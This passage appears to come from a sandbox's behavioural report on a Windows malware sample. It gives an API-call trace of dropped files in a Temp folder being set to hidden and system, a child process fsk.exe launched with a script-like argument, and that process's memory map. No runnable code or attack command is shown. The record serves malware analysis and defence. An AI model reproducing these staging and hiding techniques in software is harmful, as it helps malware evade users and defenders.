lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.234] GetFileAttributesW (lpFileName="xkh.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\xkh.dat")) returned 0x20 [0078.234] SetFileAttributesW (lpFileName="xkh.dat", dwFileAttributes=0x23) returned 1 [0078.235] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.235] GetFileAttributesW (lpFileName="xmj.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\xmj.docx")) returned 0x20 [0078.235] SetFileAttributesW (lpFileName="xmj.docx", dwFileAttributes=0x23) returned 1 [0078.235] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 0 [0078.235] FindClose (in: hFindFile=0x81f970 | out: hFindFile=0x81f970) returned 1 [0078.235] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0078.235] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f79c | out: lpNewFilePointer=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f77c | out: lpNewFilePointer=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f78c | out: lpNewFilePointer=0x0) returned 1 [0078.236] ReadFile (in: hFile=0xfc, lpBuffer=0x97b308, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f7b4, lpOverlapped=0x0 | out: lpBuffer=0x97b308*, lpNumberOfBytesRead=0x78f7b4*=0x0, lpOverlapped=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0xfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f77c | out: lpNewFilePointer=0x0) returned 1 [0078.242] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.242] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.242] CharUpperBuffW (in: lpsz="_S0XB4X2737C68F", cchLength=0xf | out: lpsz="_S0XB4X2737C68F") returned 0xf [0078.242] CharUpperBuffW (in: lpsz="_S0XB4259E6BX2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0078.242] PeekMessageW (in: lpMsg=0x78f3a4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f3a4) returned 0 [0078.242] GetShortPathNameW (in: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", lpszShortPath=0x77f214, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ") returned 0x33 [0078.243] PeekMessageW (in: lpMsg=0x78f5b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f5b4) returned 0 [0078.243] CharUpperBuffW (in: lpsz="Run", cchLength=0x3 | out: lpsz="RUN") returned 0x3 [0078.243] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0078.247] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.247] CharUpperBuffW (in: lpsz="Sle", cchLength=0x3 | out: lpsz="SLE") returned 0x3 [0078.247] CharUpperBuffW (in: lpsz="ep", cchLength=0x2 | out: lpsz="EP") returned 0x2 [0078.247] CharUpperBuffW (in: lpsz="SLE", cchLength=0x3 | out: lpsz="SLE") returned 0x3 [0078.247] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.248] CharUpperBuffW (in: lpsz="_S0XB4X2737C68F", cchLength=0xf | out: lpsz="_S0XB4X2737C68F") returned 0xf [0078.248] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.248] CharUpperBuffW (in: lpsz="_S0FZA737C68F", cchLength=0xd | out: lpsz="_S0FZA737C68F") returned 0xd [0078.248] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.248] CharUpperBuffW (in: lpsz="_S0XB4259E6BX2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0078.248] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.248] CharUpperBuffW (in: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72", cchLength=0x24 | out: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72") returned 0x24 [0078.248] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.248] CharUpperBuffW (in: lpsz="_BD57ZSFSDEEEQ", cchLength=0xe | out: lpsz="_BD57ZSFSDEEEQ") returned 0xe [0078.249] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.249] CharUpperBuffW (in: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE", cchLength=0x24 | out: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE") returned 0x24 [0078.249] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.249] CharUpperBuffW (in: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6", cchLength=0x24 | out: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6") returned 0x24 [0078.249] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.249] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.249] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.249] LockWindowUpdate (hWndLock=0x0) returned 0 [0078.249] DestroyWindow (hWnd=0x30216) returned 1 [0078.249] NtdllDefWindowProc_W () returned 0x0 [0078.250] KillTimer (hWnd=0x30216, uIDEvent=0x1) returned 1 [0078.250] PostQuitMessage (nExitCode=0) [0078.250] GetMessageW (in: lpMsg=0x78f9ac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x78f9ac) returned 0 [0078.250] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0078.299] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0078.454] OleUninitialize () [0078.454] DestroyCursor (hCursor=0x6022b) returned 0 [0078.455] ExitProcess (uExitCode=0x0) Process: id = "8" image_name = "fsk.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe" page_root = "0xf2ad000" os_pid = "0xbd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xbc0" cmd_line = "C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ" cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1594 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1595 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1596 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1597 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1598 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1599 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1600 start_va = 0x210000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1601 start_va = 0x1140000 end_va = 0x121efff entry_point = 0x1140000 region_type = mapped_file name = "fsk.exe" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe") Region: id = 1602 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1603 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1604 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1605 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1606 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 1607 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 1608 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 1609 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 1610 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 1611 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1612 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1613 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1614 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1615 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1616 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1617 start_va = 0x610000 end_va = 0xa0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 1618 start_va = 0xb80000 end_va = 0xb8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 1619 start_va = 0x74cf0000 end_va = 0x74cfafff entry_point = 0x74cf0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1620 start_va = 0x74d00000 end_va = 0x74d16fff entry_point = 0x74d00000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 1621 start_va = 0x74d20000 end_va = 0x74d26fff entry_point = 0x74d20000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1622 start_va = 0x74d30000 end_va = 0x74d4bfff entry_point = 0x74d30000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1623 start_va = 0x74d50000 end_va = 0x74eedfff entry_point = 0x74d50000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1624 start_va = 0x74ef0000 end_va = 0x74f21fff entry_point = 0x74ef0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1625 start_va = 0x75050000 end_va = 0x750cffff entry_point = 0x75050000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1626 start_va = 0x75220000 end_va = 0x75231fff entry_point = 0x75220000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1627 start_va = 0x75280000 end_va = 0x75286fff entry_point = 0x75280000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 1628 start_va = 0x752f0000 end_va = 0x752f8fff entry_point = 0x752f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1629 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1630 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1631 start_va = 0x75380000 end_va = 0x75384fff entry_point = 0x75380000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1632 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1633 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1634 start_va = 0x75540000 end_va = 0x755cefff entry_point = 0x75540000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1635 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1636 start_va = 0x75660000 end_va = 0x756b6fff entry_point = 0x75660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1637 start_va = 0x756c0000 end_va = 0x7573afff entry_point = 0x756c0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 1638 start_va = 0x75740000 end_va = 0x75875fff entry_point = 0x75740000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1639 start_va = 0x758b0000 end_va = 0x758e4fff entry_point = 0x758b0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1640 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1641 start_va = 0x759e0000 end_va = 0x759ebfff entry_point = 0x759e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1642 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1643 start_va = 0x75a10000 end_va = 0x75b04fff entry_point = 0x75a10000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1644 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1645 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1646 start_va = 0x75f10000 end_va = 0x7610afff entry_point = 0x75f10000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1647 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1648 start_va = 0x76160000 end_va = 0x762bbfff entry_point = 0x76160000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1649 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1650 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1651 start_va = 0x76650000 end_va = 0x7676cfff entry_point = 0x76650000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1652 start_va = 0x76770000 end_va = 0x773b9fff entry_point = 0x76770000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1653 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 1654 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 1655 start_va = 0x77790000 end_va = 0x77795fff entry_point = 0x77790000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1656 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1657 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1658 start_va = 0xb90000 end_va = 0xd17fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 1659 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1660 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1661 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1662 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1663 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1664 start_va = 0xaf0000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1665 start_va = 0xd20000 end_va = 0xea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 1666 start_va = 0x1220000 end_va = 0x261ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001220000" filename = "" Region: id = 1667 start_va = 0xa10000 end_va = 0xaeefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 1668 start_va = 0x1c0000 end_va = 0x1d5fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1669 start_va = 0x1c0000 end_va = 0x1d5fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1670 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1671 start_va = 0x75290000 end_va = 0x752a2fff entry_point = 0x75290000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1672 start_va = 0x2620000 end_va = 0x28eefff entry_point = 0x2620000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1673 start_va = 0xeb0000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 1674 start_va = 0xf30000 end_va = 0xfbffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 1675 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1676 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1677 start_va = 0xfc0000 end_va = 0x10d4fff entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1678 start_va = 0x28f0000 end_va = 0x2ce2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028f0000" filename = "" Region: id = 1679 start_va = 0x2ec0000 end_va = 0x2f67fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1680 start_va = 0x74cd0000 end_va = 0x74ce5fff entry_point = 0x74cd0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1681 start_va = 0xb30000 end_va = 0xb6bfff entry_point = 0xb30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1682 start_va = 0xb30000 end_va = 0xb6bfff entry_point = 0xb30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1683 start_va = 0xb30000 end_va = 0xb6bfff entry_point = 0xb30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1684 start_va = 0xb30000 end_va = 0xb6bfff entry_point = 0xb30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1685 start_va = 0xb30000 end_va = 0xb6bfff entry_point = 0xb30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1686 start_va = 0x74c90000 end_va = 0x74ccafff entry_point = 0x74c90000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1687 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1688 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1689 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1690 start_va = 0xb30000 end_va = 0xb30fff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 1691 start_va = 0xb40000 end_va = 0xb40fff entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1692 start_va = 0xb50000 end_va = 0xb50fff entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Thread: id = 105 os_tid = 0xbd4 [0078.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fea0 | out: 